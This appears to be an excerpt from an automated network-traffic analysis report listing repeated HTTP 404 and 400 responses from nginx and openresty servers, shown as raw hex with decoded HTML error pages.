Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 23 Aug 2024 16:42:12 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 23 Aug 2024 16:42:13 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:42:14 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:42:14 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:42:29 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:42:30 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 32 33 20 41 75 67 20 32 30 32 34 20 31 36 3a 34 32 3a 33 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a paddi
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:43:07 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 23 Aug 2024 16:43:07 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 23 Aug 2024 16:43:35 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 23 Aug 2024 16:43:35 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
